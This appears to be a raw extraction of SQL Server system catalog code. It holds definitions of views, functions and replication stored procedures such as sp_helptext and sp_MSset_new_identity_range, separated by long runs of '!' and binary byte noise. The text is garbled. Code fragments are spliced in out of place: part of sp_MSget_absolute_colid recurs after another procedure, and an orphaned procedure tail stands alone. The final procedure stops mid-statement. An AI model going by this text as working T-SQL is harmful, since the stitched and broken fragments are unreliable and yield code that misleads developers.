h>Z!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!iDc`SA<C$hG0@00+8@ 	8CREATE VIEW INFORMATION_SCHEMA.ROUTINE_COLUMNS
AS
SELECT
	DB_NAME()						AS TABLE_CATALOG,
	SCHEMA_NAME(o.schema_id)			AS TABLE_SCHEMA,
	o.name							AS TABLE_NAME,
	c.name							AS COLUMN_NAME,
	c.column_id						AS ORDINAL_POSITION,
	convert(nvarchar(4000),
		OBJECT_DEFINITION(c.default_object_id))			AS COLUMN_DEFAULT,
	convert(varchar(3),
		CASE WHEN c.is_nullable = 1 THEN 'YES'
		ELSE 'NO' END)				AS IS_NULLABLE,
	ISNULL(TYPE_NAME(c.system_type_id), t.name)		AS DATA_TYPE,
	COLUMNPROPERTY(c.object_id, c.name, 'charmaxlen')	AS CHARACTER_MAXIMUM_LENGTH,
	COLUMNPROPERTY(c.object_id, c.name, 'octetmaxlen')	AS CHARACTER_OCTET_LENGTH,
	convert(tinyint, CASE -- int/decimal/numeric/real/float/money
		WHEN c.system_type_id IN (48, 52, 56, 59, 60, 62, 106, 108, 122, 127) THEN c.precision
		END)										AS NUMERIC_PRECISION,
	convert(smallint, CASE	-- int/money/decimal/numeric
		WHEN c.system_type_id IN (48, 52, 56, 60, 106, 108, 122, 127) THEN 10
		WHEN c.system_type_id IN (59, 62) THEN 2 END)	AS NUMERIC_PRECISION_RADIX, -- real/float
	convert(int, CASE	-- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN NULL
		ELSE ODBCSCALE(c.system_type_id, c.scale) END)	AS NUMERIC_SCALE,
	convert(smallint, CASE -- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN ODBCSCALE(c.system_type_id, c.scale) END)	AS DATETIME_PRECISION,
	convert( sysname, null)					AS CHARACTER_SET_CATALOG,
	convert( sysname, null) collate catalog_default			AS CHARACTER_SET_SCHEMA,
	convert( sysname, CASE
		WHEN c.system_type_id IN (35, 167, 175)	-- char/varchar/text
		THEN COLLATIONPROPERTY(c.collation_name, 'sqlcharsetname')
		WHEN c.system_type_id IN (99, 231, 239)	-- nchar/nvarchar/ntext
		THEN N'UNICODE'	END)				AS CHARACTER_SET_NAME,
	convert(sysname, null)					AS COLLATION_CATALOG,
	convert(sysname, null) collate catalog_default		AS COLLATION_SCHEMA,
	c.collation_name					AS COLLATION_NAME,
	convert(sysname,
		CASE WHEN c.user_type_id > 256
		THEN DB_NAME() END)				AS DOMAIN_CATALOG,
	convert(sysname,
		CASE WHEN c.user_type_id > 256 THEN
		SCHEMA_NAME(t.schema_id) END)			AS DOMAIN_SCHEMA,
	convert(sysname,
		CASE WHEN c.user_type_id > 256 THEN
		TYPE_NAME(c.user_type_id) END)			AS DOMAIN_NAME
FROM
	sys.objects o JOIN sys.columns c ON c.object_id = o.object_id
	LEFT JOIN sys.types t ON c.user_type_id = t.user_type_id
WHERE
	o.type IN ('TF','IF', 'FT')
059 Q8 
-- add it
create view sys.dm_pdw_component_health_status as
select
	pdw_node_id,
	component_id,
	property_id,
	component_instance_id	collate database_default component_instance_id,
	property_value	collate database_default property_value,
	update_time
from sys._dm_pdw_component_health_status
0;@ m
8--
-- Name: sp_MSacquiresnapshotdeliverysessionlock
--
-- Description: This procedure is used by the distribution/merge agent to 
--              acquire a subscription database specific application lock
--              during snapshot delivery. This application lock can be used for
--              coordination with any user application that does not wish to 
--              be exposed to inconsistent data at the subscription database
--              while a snapshot is being delivered.
-- 
-- Returns: 0 - succeeded
--          1 - failed
--
-- Notes: i) This procedure should be executed by the distribution/merge agent
--        at the subscription database.
--        ii) This procedure will block until the application lock is acquired.
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MSacquiresnapshotdeliverysessionlock
as
begin
    set nocount on
    declare @retcode int
    declare @resource nvarchar(255)
    select @retcode = 0    
    select @resource = N'snapshot_delivery_in_progress_' + 
                       db_name() collate database_default
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    
    -- Try to create the snapshot delivery progress table here so multiple
    -- bcp threads in DTS snapshot are guaranteed to be able to access
    -- the snapshot progress table
    if object_id('dbo.MSsnapshotdeliveryprogress') is null
    begin
        create table dbo.MSsnapshotdeliveryprogress 
        (
           session_token nvarchar(260) not null,
           progress_token_hash int not null,
           progress_token nvarchar(500) not null,
           progress_timestamp datetime default getdate()
        )
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index ci_MSsnapshotdeliveryprogress_progress_token_hash 
            on dbo.MSsnapshotdeliveryprogress(progress_token_hash)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index nci_MSsnapshotdeliveryprogress_session_token
            on dbo.MSsnapshotdeliveryprogress(session_token)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        exec @retcode = dbo.sp_MS_marksystemobject 'dbo.MSsnapshotdeliveryprogress'
        if @retcode <> 0 or @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
    end 

    exec @retcode = sys.sp_getapplock @Resource = @resource,
                                             @LockMode = 'Shared',    
                                             @LockOwner = 'Session',
                                             @LockTimeout = -1,
                                             @DbPrincipal = N'db_owner'
    if @@error <> 0 or @retcode < 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    select @retcode = 0
FAILURE:
    return @retcode
end
08 D8h!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
`v<i&X0B 8
create procedure sys.sp_tables_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name     sysname = null,
    @table_schema       sysname = null,
    @table_type     sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        TABLE_TYPE,
        TABLE_GUID,
        DESCRIPTION,
        TABLE_PROPID = null,    -- ISSUE these 3 columns must be exported by the server
        DATE_CREATED = null,    -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        DATE_MODIFIED = null    -- const SCHEMA_COLUMNS xCol_TABLES = {
    from
        sys.fn_remote_tables (@table_server,
                              @table_catalog,
                              @table_schema,
                              @table_name,
                              @table_type)
    order by 4,1,2,3
0M P8h>N0 8create procedure sys.sp_MSget_absolute_colid
    @missing_cols varbinary(128),
    @relative_colid int,
    @absolute_colid int output
as

    select @absolute_colid = 0
    while (@relative_colid > 0)
    begin
        select @absolute_colid = @absolute_colid + 1
        if sys.fn_IsBitSetInBitmask(@missing_cols, @absolute_colid) = 0
            select @relative_colid = @relative_colid - 1    
    end
    return 0
0@ 8create procedure sys.sp_MSset_new_identity_range
    @subid uniqueidentifier,
    @artid uniqueidentifier,
    @range_type tinyint, -- 1=publisher range, 2=subscriber range
    @ranges_given tinyint, -- 0=none, 1=one range given, 2=both ranges given
    @range_begin numeric(38,0),
    @range_end numeric(38,0),
    @next_range_begin numeric(38,0),
    @next_range_end numeric(38,0)
as
    declare @max_used numeric(38,0)
    declare @retcode int
    declare @is_pub_range bit
    declare @objid int
    declare @qualified_table_name nvarchar(517)
    declare @ident_increment numeric(38,0)

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    if @range_type = 1
    begin
        select @is_pub_range = 1
        select @max_used = @range_begin
    end
    else
    begin
        select @is_pub_range = 0
        select @max_used = NULL
    end
    
    exec @retcode = sys.sp_MScheck_article_auto_identity @artid, @objid output, @qualified_table_name output
    if @retcode<>0 or @@error<>0
        return 1

    if @range_begin is NULL or @range_end is NULL or @next_range_begin is NULL or @next_range_end is NULL 
    begin
        RAISERROR(20675, 16, -1)
        return (1)
    end
 
    select @ident_increment = IDENT_INCR(@qualified_table_name)
    
    if not exists (select * from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=@is_pub_range)
    begin
        -- we did not find the entry to get information about it. The entry should be present
        -- when this proc is called. sp_MSsetup_identity_range proc called during the initial
        -- merge should have created the entry.

        -- however if this is an incrementally added article so insert an empty entry here
        if exists (select * from dbo.sysmergearticles 
                    where artid=@artid and (status = 5 or status = 6) and 
                          pubid in (select pubid from dbo.sysmergesubscriptions where subid=@subid))
        begin
            insert dbo.MSmerge_identity_range values (@subid, @artid, @range_begin, @range_end, @next_range_begin, @next_range_end, @is_pub_range, @max_used)
            if @@error<> 0
                return 1
            if @range_type = 2
            begin
                exec @retcode = sys.sp_MSrefresh_idrange_check_constraint 
                                        @qualified_table_name,
                                        @artid,
                                        @range_begin,
                                        @range_end,
                                        @next_range_begin,
                                        @next_range_end,
                                        @ranges_given
                if @@ERROR<>0 or @retcode<>0
                begin
                    RAISERROR(20670, 16, -1, @qualified_table_name)
                    return (1)
                end
            end
        end
        else
        begin
            RAISERROR(20671, 16, -1)
            return (1)
        end
    end
    else
    begin
        if @range_type = 2
        begin
            update dbo.MSmerge_identity_range 
                set range_begin = @range_begin, 
                    range_end = @range_end, 
                    next_range_begin = @next_range_begin, 
                    next_range_end = @next_range_end,
                    max_used = @max_used
                where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
            if @@error<> 0
                return 1

            exec @retcode = sys.sp_MSrefresh_idrange_check_constraint 
                                    @qualified_table_name,
                                    @artid,
                                    @range_begin,
                                    @range_end,
                                    @next_range_begin,
                                    @next_range_end,
                                    @ranges_given
            if @@ERROR<>0 or @retcode<>0
            begin
                RAISERROR(20670, 16, -1, @qualified_table_name)
                return (1)
            end
        end
        else
        begin
            if @ranges_given = 2
            begin
                update dbo.MSmerge_identity_range 
                    set range_begin = @range_begin, 
                        range_end = @range_end, 
                        next_range_begin = @next_range_begin, 
                        next_range_end = @next_range_end,
                        max_used = @max_used
                    where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
                if @@error<> 0
                    return 1
            end
            else
            begin
                -- set the current range to be the next range and newly given range to be the next range
                update dbo.MSmerge_identity_range 
                    set range_begin = next_range_begin, 
                        range_end = next_range_end
                    where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
                if @@error<> 0
                    return 1
            
                -- if we are getting only one new range we should not change the max_used column
                update dbo.MSmerge_identity_range 
                    set next_range_begin = @next_range_begin, 
                        next_range_end = @next_range_end
                    where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
                if @@error<> 0
                    return 1
            end
        end
    end

    return 0
   select @absolute_colid = 0
    while (@relative_colid > 0)
    begin
        select @absolute_colid = @absolute_colid + 1
        if sys.fn_IsBitSetInBitmask(@missing_cols, @absolute_colid) = 0
            select @relative_colid = @relative_colid - 1    
    end
    return 0
leidhint,
					@unload,
					@subscriptionlsn,
					@publisher_type
					,@subscriptionstreams
					,@subscriber_type
					
	RETURN (@retcode)
END
0N 8
create function sys.fn_replvarbintoint (@varbin varbinary(32))
returns int
as
begin
	return cast((substring(@varbin, 4, 1)  + substring(@varbin, 3, 1) + substring(@varbin, 2, 1) + substring(@varbin, 1, 1)) as int)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b
d
W
J`t4	<Zj&b0p" 8create procedure sys.sp_helptext
@objname nvarchar(776)
,@columnname sysname = NULL
as

set nocount on

declare @dbname sysname
,@objid	int
,@BlankSpaceAdded   int
,@BasePos       int
,@CurrentPos    int
,@TextLength    int
,@LineId        int
,@AddOnLen      int
,@LFCR          int --lengths of line feed carriage return
,@DefinedLength int

/* NOTE: Length of @SyscomText is 4000 to replace the length of
** text column in syscomments.
** lengths on @Line, #CommentText Text column and
** value for @DefinedLength are all 255. These need to all have
** the same values. 255 was selected in order for the max length
** display using down level clients
*/
,@SyscomText	nvarchar(4000)
,@Line          nvarchar(255)

select @DefinedLength = 255
select @BlankSpaceAdded = 0 /*Keeps track of blank spaces at end of lines. Note Len function ignores
                             trailing blank spaces*/
CREATE TABLE #CommentText
(LineId	int
 ,Text  nvarchar(255) collate catalog_default)

/*
**  Make sure the @objname is local to the current database.
*/
select @dbname = parsename(@objname,3)
if @dbname is null
	select @dbname = db_name()
else if @dbname <> db_name()
        begin
                raiserror(15250,-1,-1)
                return (1)
        end

/*
**  See if @objname exists.
*/
select @objid = object_id(@objname)
if (@objid is null)
        begin
		raiserror(15009,-1,-1,@objname,@dbname)
		return (1)
        end

-- If second parameter was given.
if ( @columnname is not null)
    begin
        -- Check if it is a table
        if (select count(*) from sys.objects where object_id = @objid and type in ('S ','U ','TF'))=0
            begin
                raiserror(15218,-1,-1,@objname)
                return(1)
            end
        -- check if it is a correct column name
        if ((select 'count'=count(*) from sys.columns where name = @columnname and object_id = @objid) =0)
            begin
                raiserror(15645,-1,-1,@columnname)
                return(1)
            end
    if (ColumnProperty(@objid, @columnname, 'IsComputed') = 0)
		begin
			raiserror(15646,-1,-1,@columnname)
			return(1)
		end

        declare ms_crs_syscom  CURSOR LOCAL
        FOR select text from syscomments where id = @objid and encrypted = 0 and number =
                        (select column_id from sys.columns where name = @columnname and object_id = @objid)
                        order by number,colid
        FOR READ ONLY

    end
else if @objid < 0	-- Handle system-objects
	begin
		-- Check count of rows with text data
		if (select count(*) from master.sys.syscomments where id = @objid and text is not null) = 0
			begin
				raiserror(15197,-1,-1,@objname)
				return (1)
			end
			
		declare ms_crs_syscom CURSOR LOCAL FOR select text from master.sys.syscomments where id = @objid
			ORDER BY number, colid FOR READ ONLY
	end
else
    begin
        /*
        **  Find out how many lines of text are coming back,
        **  and return if there are none.
        */
        if (select count(*) from syscomments c, sysobjects o where o.xtype not in ('S', 'U')
            and o.id = c.id and o.id = @objid) = 0
                begin
                        raiserror(15197,-1,-1,@objname)
                        return (1)
                end

        if (select count(*) from syscomments where id = @objid and encrypted = 0) = 0
                begin
                        raiserror(15471,-1,-1,@objname)
                        return (0)
                end

		declare ms_crs_syscom  CURSOR LOCAL
		FOR select text from syscomments where id = @objid and encrypted = 0
				ORDER BY number, colid
		FOR READ ONLY

    end

/*
**  else get the text.
*/
select @LFCR = 2
select @LineId = 1


OPEN ms_crs_syscom

FETCH NEXT from ms_crs_syscom into @SyscomText

WHILE @@fetch_status >= 0
begin

    select  @BasePos    = 1
    select  @CurrentPos = 1
    select  @TextLength = LEN(@SyscomText)

    WHILE @CurrentPos  != 0
    begin
        --Looking for end of line followed by carriage return
        select @CurrentPos =   CHARINDEX(char(13)+char(10), @SyscomText, @BasePos)

        --If carriage return found
        IF @CurrentPos != 0
        begin
            /*If new value for @Lines length will be > then the
            **set length then insert current contents of @line
            **and proceed.
            */
            while (isnull(LEN(@Line),0) + @BlankSpaceAdded + @CurrentPos-@BasePos + @LFCR) > @DefinedLength
            begin
                select @AddOnLen = @DefinedLength-(isnull(LEN(@Line),0) + @BlankSpaceAdded)
                INSERT #CommentText VALUES
                ( @LineId,
                  isnull(@Line, N'') + isnull(SUBSTRING(@SyscomText, @BasePos, @AddOnLen), N''))
                select @Line = NULL, @LineId = @LineId + 1,
                       @BasePos = @BasePos + @AddOnLen, @BlankSpaceAdded = 0
            end
            select @Line    = isnull(@Line, N'') + isnull(SUBSTRING(@SyscomText, @BasePos, @CurrentPos-@BasePos + @LFCR), N'')
            select @BasePos = @CurrentPos+2
            INSERT #CommentText VALUES( @LineId, @Line )
            select @LineId = @LineId + 1
            select @Line = NULL
        end
        else
        --else carriage return not found
        begin
            IF @BasePos <= @TextLength
            begin
                /*If new value for @Lines length will be > then the
                **defined length
                */
                while (isnull(LEN(@Line),0) + @BlankSpaceAdded + @TextLength-@BasePos+1 ) > @DefinedLength
                begin
                    select @AddOnLen = @DefinedLength - (isnull(LEN(@Line),0) + @BlankSpaceAdded)
                    INSERT #CommentText VALUES
                    ( @LineId,
                      isnull(@Line, N'') + isnull(SUBSTRING(@SyscomText, @BasePos, @AddOnLen), N''))
                    select @Line = NULL, @LineId = @LineId + 1,
                        @BasePos = @BasePos + @AddOnLen, @BlankSpaceAdded = 0
                end
                select @Line = isnull(@Line, N'') + isnull(SUBSTRING(@SyscomText, @BasePos, @TextLength-@BasePos+1 ), N'')
                if LEN(@Line) < @DefinedLength and charindex(' ', @SyscomText, @TextLength+1 ) > 0
                begin
                    select @Line = @Line + ' ', @BlankSpaceAdded = 1
                end
            end
        end
    end

	FETCH NEXT from ms_crs_syscom into @SyscomText
end

IF @Line is NOT NULL
    INSERT #CommentText VALUES( @LineId, @Line )

select Text from #CommentText order by LineId

CLOSE  ms_crs_syscom
DEALLOCATE 	ms_crs_syscom

DROP TABLE 	#CommentText

return (0) -- sp_helptext
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`4	<dk% 0lO 8
/* Permission to sysadmin */
create  procedure sys.sp_MSremovedbreplication_internal 
(
      @dbname     		sysname,
      @type		  	nvarchar(5) = 'both',	-- 'merge' or 'tran' or 'both' to cleanup.	 
      @ignore_distributor	bit = 0,
      @from_backup          bit = 0
) 
AS
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @retcode int
    DECLARE @proc nvarchar(255)
    DECLARE @restoreoverride int
    DECLARE @db_status sysname
	DECLARE @ErrorMessage NVARCHAR(4000)
    
    /*
    ** Initialization
    */

    /*
    ** Support override of replication remove on attach and restore
    */

    SELECT @restoreoverride = 0 -- assume normal remove behavior
    -- using instance specific XP
    EXECUTE @retcode = master.dbo.xp_instance_regread 'HKEY_LOCAL_MACHINE', 
                                'SOFTWARE\Microsoft\MSSQLServer\Replication',
                                'RestoreOverride',
                                @param = @restoreoverride OUTPUT,
                                @no_output = 'no_output'

    IF ( @@error = 0 ) and ( @retcode = 0 )
    BEGIN
        -- ReplRestoreOverride = 1 = user elects to take no cleanup on restore or attach
        IF ( ISNULL( @restoreoverride, 0 ) = 1 )
            RETURN(0)
    END

    /*
    ** Parameter check
    ** @dbname
    */
    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE
        name = @dbname collate database_default)
    BEGIN
        RAISERROR(15010, 16, -1, @dbname)
        RETURN(1)
    END

	SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'		
	EXEC @retcode = @proc @type = @type, @ignore_distributor = @ignore_distributor, @from_backup = @from_backup    
	

	-- clean the replication bit.
	exec @retcode  = sys.sp_MSrepl_clean_replication_bit @dbname=@dbname,@type=@type	


	--drop sysreplservers
	SELECT @proc = QUOTENAME(@dbname) + '.sys.sp_refreshreplsysservers'
	EXEC @retcode =  @proc 	
	
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<l]-,0_ ^8create function sys.fn_virtualfilestats
	(
	@DatabaseId Int = -1,
	@FileId Int = -1
	)
returns @tab table(DbId SmallInt NOT NULL, FileId SmallInt NOT NULL, TimeStamp Int NOT NULL,
		NumberReads BigInt NOT NULL, BytesRead BigInt NOT NULL, IoStallReadMS BigInt NOT NULL,
		NumberWrites BigInt NOT NULL, BytesWritten BigInt NOT NULL, IoStallWriteMS BigInt NOT NULL,
		IoStallMS BigInt NOT NULL, BytesOnDisk BigInt NOT NULL, FileHandle VarBinary(8) NOT NULL)
as
begin
	insert @tab
 	select database_id,	
 		file_id,
 		sample_ms,
 		num_of_reads,
 		num_of_bytes_read,
 		io_stall_read_ms,
 		num_of_writes,
 		num_of_bytes_written,
 		io_stall_write_ms,
 		io_stall,
 		size_on_disk_bytes,
 		file_handle
 	from OpenRowset(TABLE VIRTUALFILESTATS, @DatabaseId, @FileId)

	return
end -- fn_virtualfilestats
0g 8CREATE VIEW sys.dm_db_index_usage_stats AS
	SELECT database_id, object_id, index_id, 
		user_seeks, user_scans, user_lookups, user_updates, 
		last_user_seek, last_user_scan, last_user_lookup, last_user_update,
		system_seeks, system_scans, system_lookups, system_updates, 
		last_system_seek, last_system_scan, last_system_lookup, last_system_update
		FROM OpenRowSet(TABLE LOGINDEXSTATS)
	WHERE status = 0
0+Q 8create function sys.dm_db_index_physical_stats
(
	@DatabaseId			SMALLINT		= 0,
	@ObjectId  			INT 			= 0,
	@IndexId 			INT 			= -1,
	@PartitionNumber	INT				= 0,
	@Mode	 			nvarchar(20)  	= NULL
)
returns table
as
	return select *
       	from OpenRowset
		(	TABLE
			INDEXANALYSIS,
			@DatabaseId,
			@ObjectId,
			@IndexId,
			@PartitionNumber,
			@Mode
		)
0i F8create procedure sys.sp_MSload_tmp_replication_status
(
	@agent_type	int = 0
	,@distribution_db sysname = NULL -- for filtering specific distribution db agents
)
as
begin
    set nocount on
    declare @retcode int

    -- security check.
    -- User must be member of 'replmonitor' role in some distribution database at this distributor.
    exec @retcode = sys.sp_MSrepl_DistributorReplMonitorAccess
    if @retcode <> 0 or @@error <> 0
        return (1)

    set nocount on

	declare 	@cmd nvarchar(4000),
			@db_name sysname,
			@distbit int,
			@all_agents int,
			@misc_agent int

	select 	@cmd = null,
			@db_name = null,
			@distbit = 16,
			@all_agents = 0,
			@misc_agent = 5
	
    -- Load misc agent status if requested
	if @agent_type in (@all_agents, @misc_agent)
	begin
		insert into #tmp_replication_status (publisher, publisher_db, publication, publication_type, agent_type, status, agent_id, agent_name, job_id, time_stamp, publisher_srvid)
			select 'publisher' = '', 
					'publisher_db' = '', 
					'publication' = '', 
					'publication_type' = -1, 
					'agent_type' = @misc_agent, 
			        'status' = case isnull(sjh.run_status,5) -- mapped to never run
			                when 0 then 5   -- Fail mapping
			                when 1 then 2   -- Success mapping
			                when 2 then 5   -- Retry mapping
			                when 3 then 2   -- Shutdown mapping
			                when 4 then 3   -- Inprogress mapping
			                when 5 then 0   -- Unknown is mapped to never run
					end,
					'agent_id' = 0,  -- do not assign any id as we do not keep any local metadata on these
					'agent_name'  = sj.name, 
                                   'job_id' = sj. job_id,
					'time_stamp' = NULL,
					'publisher_srvid' = NULL
